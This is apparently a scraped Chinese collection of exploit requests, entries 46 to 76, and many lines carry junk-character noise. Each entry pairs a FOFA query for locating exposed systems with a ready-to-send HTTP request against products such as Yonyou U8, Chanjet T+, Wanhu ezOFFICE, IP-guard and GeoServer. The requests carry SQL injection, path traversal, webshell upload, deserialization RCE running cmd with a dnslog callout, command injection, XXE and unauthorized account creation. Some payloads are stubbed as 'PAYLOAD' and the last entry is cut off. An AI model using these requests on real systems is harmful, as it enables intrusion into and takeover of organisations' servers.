7 w# m$ L7 C5 z1 {& L0 ?4 v46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
- T$ }* t$ T3 l& NHost: your-ip
+ ~  Q# g% }  w" B" ~5 o/ o9 Q; iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
* U$ C1 o: A) |9 J1 y$ M" M0 g$ EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 N3 f1 @& \0 ~# U% c. `* DAccept-Encoding: gzip, deflate
& f9 {% u6 I1 X. w5 w0 l  jAccept-Language: zh-CN,zh;q=0.9
: v% c) k9 Y, e+ ?% n' d$ SConnection: close


* }- l- i$ f, f; m47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
# I% U. E( s- d! u- f( eCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
* {: m- K5 j7 Y. A  |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
3 b- \( v$ r  c- s2 m5 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! L+ V0 d$ q: X3 P  DAccept-Encoding: gzip, deflate, br
' T8 Q/ r7 t! mAccept-Language: zh-CN,zh;q=0.9
; ?: }4 D& K3 [, b, r' h3 zIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close

$ J; w1 H. R% [7 R

48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
6 ?* S0 Y* J/ O" H+ m7 g( P4 e) wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
& `( \) f9 G* n; u$ k1 O. X3 nContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
6 I* G* |7 J8 I$ F9 ~  l4 jContent-Disposition: form-data; name="file"; filename="s.php"
8 P2 O  w& z3 F, e- C, s  H1231
% z2 m6 n0 t* f, [Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
& e  B# }8 }. G! U* i$ E" M6 H0 A* Cupload
" d1 Y: G2 k4 Q* }------269520967239406871642430066855--


. p5 p6 e* X, Y# u7 a. X3 N* i49. 用友U8 CRM系统uploadfile.php接口任意文件上传
# B4 g0 Z' \3 ^- ZFOFA：body="用友U8CRM"

+ o0 }' [8 W+ O3 w- yPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
8 h* n3 i7 k) i7 i$ pContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
2 u" [! f3 ?  q  l: sContent-Disposition: form-data; name="file"; filename="%s.php "
, j/ s2 z! S; m& z  U; U+ r) y' kContent-Type: application/octet-stream

/ P: H% P6 B% ~wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
* k- a. H$ s' W
upload
. ]" s# F+ E2 ^4 k4 u-----------------------------vvv3wdayqv3yppdxvn3w--
  L9 [4 @0 U: v4 V/ p* _
0 \$ J# u$ k. c3 `
http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
6 ^6 C' {& ?0 ~* Y( I6 D3 |FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
! n9 p9 E3 A6 i" @! lUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

8 ]+ j/ @4 Z  u" w. Q) F! D
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
9 b; n9 r0 D+ O5 V! @+ i8 ~FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
0 M6 e) Y9 e# F' [, h8 q3 UHost: your-ip
' a% |1 r7 c. v! @% ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
/ k  y  @; H+ @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
: ~2 X6 q0 h, \# h( d7 N  oAccept-Language: zh-CN,zh;q=0.9
+ X9 ^' B# X$ n, G% |Connection: close
- t9 B9 y1 ^2 G
! b- d8 d  I8 }- w4 C
% n( s& P( a7 v1 ]52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
  Z/ p# E# V8 p% @POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; v7 k7 x* p) `  pConnection: close
1 S8 w4 Y7 F$ P+ e0 fContent-Length: 87
: a% n. k7 _+ k; ?Accept: */*
/ `7 J/ w& F* y' I: V# V! I/ v; ZAccept-Language: en
Content-Type: application/x-www-form-urlencoded
: n! Y' W$ G+ H) v# T8 K7 f0 RAccept-Encoding: gzip

1 g, c# s4 g. X5 _( j7 e' [- I4 h  ztfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

; s; J3 G' u' b! R+ f
( P1 G) f. Y+ @# P53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
# @$ q+ _* u& G$ _) ~6 h. \/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

$ y% Q4 k: d7 B) O% n  C
; f2 a2 w# a5 a+ t1 f2 s& {* @54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

% \" p4 [  q5 G
) E3 n. T! ~1 t) O8 ]% K0 W) H完整数据包
; O* `; t- d& L* u1 h2 \POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
" G7 T6 L9 U" i- WUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
, C4 w3 N( e, q: |9 {$ U6 ?Content-Length: 593

# P! W& r* z: F, X, {% T{
"storeID":{
3 f" a: d8 W. o4 S  P( ? "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
6 H, q7 G" `4 E6 S! }" r/ L "MethodName":"Start",
) P! u; T  }, v6 q, t  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
& R4 X- f6 B  l+ s: j* @4 p    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
}

& B( L' q9 @. H) q
第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
) W: a# `0 @0 ^3 |9 X- }' k! i3 {

55. 畅捷通T+ getdecallusers信息泄露
0 s* B+ f' h8 T5 }+ HFOFA：app="畅捷通-TPlus"
第一步，通过
3 R/ @) M3 k1 X/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
& p5 n5 Z: Q/ G5 ^, F
# t. f/ d" r0 n- ^4 {1 p1 {' H56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
9 U( j  o: y+ ?. NFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
7 i0 S- L) p" @, [/ I) m4 F! [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
' [$ g6 `+ V& ?# [) N
{
: F0 F! m# D7 b! z  "storeID":{
: p! i; n; X# B0 `$ \+ V    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
/ M, T  m& J6 M/ L7 }' x6 [  g   "MethodName":"Start",
    "ObjectInstance":{
' ]" y+ f: p/ k1 z" ~! e* B& D( {       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
& E6 D2 q! Z$ f& D6 r           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
& ?9 z# u$ y" D  }
}


* Z0 x+ P/ `4 B0 V' J" L57. 畅捷通T+ keyEdit.aspx SQL注入
" b7 n3 w+ s5 Y! P8 g/ k  Z. AFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
+ P1 O2 o6 v$ O8 m4 L+ e! eHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
* {7 `) T5 n' xAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
* e# X  _( u7 e4 I0 k" l5 PConnection: close

- ?- t) P: l* m! Y4 v) F+ q
58. 畅捷通T+ KeyInfoList.aspx sql注入
" @& R+ v6 a8 d! tFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
% G& ^/ Q' ?/ I3 e7 r) k9 vHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
$ k3 w5 S  C: M& AAccept-Encoding: gzip, deflate
Connection: close

2 e- ^. U1 f+ R. R# ]# e
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
# e. I- u9 z* ]5 QFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
7 T( W0 U: r6 a- Z5 LPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
2 S' \! Y, e# \9 t- k1 v9 u8 pHost: 192.168.86.128:9090
! o: K/ R9 a; dUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
. M* ]7 n: y0 g' o2 |! k0 YConnection: close
Content-Length: 1669
Accept: */*
1 r# \; ~( E  z3 CAccept-Language: en
3 V# h& E8 S' T8 u4 wContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
9 @( a' V( t5 Y8 p3 U
9 i3 I! y2 o* ~, f; ?# ^1 [PAYLOAD


; w& m' G: P7 s% @3 p9 B8 X2 M) F60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
( R; U* Q* A; w0 nGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
% x+ M& T# H% `9 c: nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  O4 a2 z! T: Z& n8 T# uAccept-Encoding: gzip, deflate
: S. O7 I( p# D! j! `3 KAccept-Language: zh-CN,zh;q=0.9
Connection: close
) Q) ~! @( k! Z4 K2 Q; n1 z$ E
! _9 j0 K( p0 Y: a' \
0 B( d# I- W6 }  `61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
" H0 q; y8 _/ W* J: E5 N0 XHost: x.x.x.x
; O7 r! Y& Y2 r( |3 w, GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 T: k/ F% I3 Q4 M7 l3 RConnection: close
Content-Length: 27
% o2 t# W1 W  [) D* MAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
$ q8 }/ n- [1 a+ E3 s/ \' N( x9 f5 HContent-Type: application/x-www-form-urlencoded
$ c6 ?" t5 g0 _, ~8 v# ~2 H
& b5 w9 ~) [& W7 B' q+ P! R8uxssX66eqrqtKObcVa0kid98xa
$ z& o6 J7 p' r0 b0 n9 W, G

62. IP-guard WebServer 远程命令执行
% F0 h1 @* F- I  g8 t4 L5 `8 zFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
( N, [" g3 q& N6 eHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
7 F$ F  d  N8 Q9 nConnection: close
Accept: */*
4 Q9 f. g! P' u* ]! p: mAccept-Language: en
+ I. L! w" V9 NAccept-Encoding: gzip
1 Y* z3 |2 O5 B+ _$ k3 [" v% E% v/ R
7 ^" Y( P' u4 D" X8 m
) o6 Z. M4 M8 M访问
8 m9 f- }7 z1 @) j
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

4 I% U, V- v3 G6 j/ d5 f
63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
8 i2 u5 J( [% V3 u0 s: iFOFA：icon_hash="2030860561"
4 t" @  s3 ~/ c" V3 \' ]) v5 V5 n/ H: bPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* r4 l9 Y& @. n; H7 K5 V* v" \Accept-Encoding: gzip, deflate
3 O4 U9 V+ z2 oAccept-Language: zh-CN,zh;q=0.9
Connection: close
' M8 n1 Q7 J$ i( o/ o, z# ~, c0 p6 KContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
5 k" G3 D4 z( n4 e$ }* ^* I9 eAccept: */*
8 v' M" [4 Y9 `- X& O+ q8 ^+ ZAccept-Language: en
# n! t: l9 S7 {  EContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

1 ~5 j3 n, X( u$ j$ i, ~- s<?xml version="1.0" encoding="utf-8"?>
1 P: N7 X- [% _) I6 C4 S; ]9 c<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
' \- p! ~) V# J* [</soap:Envelope>

4 {4 r" [5 r, I: w  I
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
" u5 I8 z  r: n/ M. XFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
5 C3 W1 f& ~1 ~; h0 _响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
+ {4 Z, T0 p1 [9 b3 p3 RHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
2 |( M2 W3 [& V' o% j4 KConnection: close
Accept-Language: en
Content-Length: 174

; L6 a1 L/ S- l* VoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
1 y* @* @5 b& a3 S
  e, {" x" X" N
$ ^% T7 X: B$ j66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
5 ~/ b7 x. v" M5 }6 H: T/ ]) N
$ b, ~( l/ \; K4 e3 T2 PGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
2 a3 n* ]. H  U, N9 y3 _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
7 \" H5 L5 m" e; V' E$ VAccept-Language: en
Accept-Encoding: gzip


) K8 W$ ~) `5 `$ c6 v第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
: r' ~$ r0 G) n* O0 b( s) Y5 J2 \
67. 万户ezOFFICE wpsservlet任意文件上传
6 j7 C0 }: G3 G4 d& A' Z6 P3 Z: PFOFA：app="万户网络-ezOFFICE"
3 q! l* {. f' j. |* B, U  `- nnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
: L" k/ V1 r( M; O0 NPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
3 F2 k7 x3 |; x) C) x" V! [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
& X1 ~0 ?1 _: K9 GContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
. @# s/ L% s- i/ P1 V  r# CContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
7 s! V, T, [/ S
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
% l) @4 s  Q' T  E  w& s. Z

; _3 C! P' J  s( M) _2 ]: b0 X$ E  Z文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
8 v) w1 w" a: s8 P
68. 万户ezOFFICE wf_printnum.jsp SQL注入
) ?7 E, t- R- dFOFA：app="万户ezOFFICE协同管理平台"
' R/ |$ n9 J9 U5 q8 C$ C1 X; TGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
0 z2 b7 s+ A3 [- b8 x) t6 \Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
5 L9 H4 W. i) S" Z1 WAccept-Encoding: gzip, deflate
' ], K7 ~; M4 K( EAccept-Language: zh-CN,zh;q=0.9
4 J  z5 K8 l  L7 d, T3 a7 \- yConnection: close
0 z- ^) r- f' n0 Q+ W* L5 |
3 n( E6 t9 k& m- e3 D8 H
4 X1 W9 f& E! Y6 p; O& A) B& I; \6 X69. 万户 ezOFFICE contract_gd.jsp SQL注入
2 V& ^; y: O$ w. l5 @! |0 ^FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
. l* X" P1 O" b" O( s6 F. z3 iHost: your-ip
" H! h$ y- R( K7 Y8 JUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
) H5 V+ [9 \7 P1 y+ R. n$ YAccept-Encoding: gzip, deflate
Accept: */*
, I8 k1 u3 l6 k' p0 b  z: LConnection: keep-alive
# b8 P6 Q* M( ~2 x: n
/ e! L5 O8 B2 N" Z3 }. p
70. 万户ezEIP success 命令执行
0 N. \2 M# ?* @, U% A- k1 |FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
& x) Y6 k8 x2 h: Y$ J0 H8 u2 qHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
. q* G1 S( \& _- D( g, jSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

4 h3 a2 @* J- `! `7 b) e  D__VIEWSTATE=PAYLOAD
7 I* V0 ^9 G9 U: |5 p6 ^4 _
% I& O1 }( j- i  v4 Z7 N
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
  K" P. H% ?) v# |! t+ _& H0 }FOFA：body="PM2项目管理系统BS版增强工具.zip"
1 _# N, `- T+ Y, g) A* K, Q; gGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
) ^7 h2 {) k/ kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
5 Z$ W4 O, ]( G: F% }7 eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
. L2 {1 y9 x* P$ p
0 Q& k' ~5 }2 [% b! b  O, ~& @" @* D
72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
* D2 C; |4 @% ?+ w7 v; T) Y. _Host: 192.168.40.131:8099
! V- f2 z( a* _) w- X6 Q; dUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
7 D5 @* n6 f/ j* u( Z# aConnection: close
% z& X# P3 i+ _* KContent-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

) J+ ]/ E# Z$ f1 H* P$ q4 tS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

% |) G1 Z) C% a4 I: L# r, Q% q
) I+ l# W  }2 ~: I2 d73. GeoServer wms远程代码执行
1 M  Q1 o. B( D  ZFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
3 j9 u/ k3 X2 R" F' {% d! CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
2 R8 r1 x4 M! }6 RContent-Length: 1981
1 j$ M# Q- C& l! y  y0 }) t0 dAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
& Z+ D' ]6 `9 q9 pSL-CE-SUID: 3

PAYLOAD


74. 致远M3-server 6_1sp1 反序列化RCE
9 C7 N- ~" P/ ~8 t3 n/ lFOFA：title="M3-Server"
3 o3 P- o+ V5 i6 Y* y  KPAYLOAD
5 x$ M; ]# E, a5 |" X# W# i
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
! W; j* n" n$ q7 g0 G6 W/ |FOFA：app="TELESQUARE-TLR-2005KSH"
. O% _: |' x% \; ~. K) PGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
; E! Z: T# r) ^$ w% t+ x" THost: x.x.x.x
* ]6 j! k, }5 x& l8 a, s; [0 l, zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
& \: {" s( f' N* e7 c$ \+ fAccept: */*
( r7 z0 K1 c# SAccept-Language: en
% q3 i1 I3 k+ x1 m# J  i( oAccept-Encoding: gzip
6 z/ O2 v3 M) u0 K: \" G
$ J7 o1 c. Q+ C+ {, x1 b& E( t
GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

6 e# M& `# L- Y2 m0 h
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
  q5 W" r/ X) D' U" k6 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
2 @0 E' l- S0 DConnection: close
Content-Length: 211
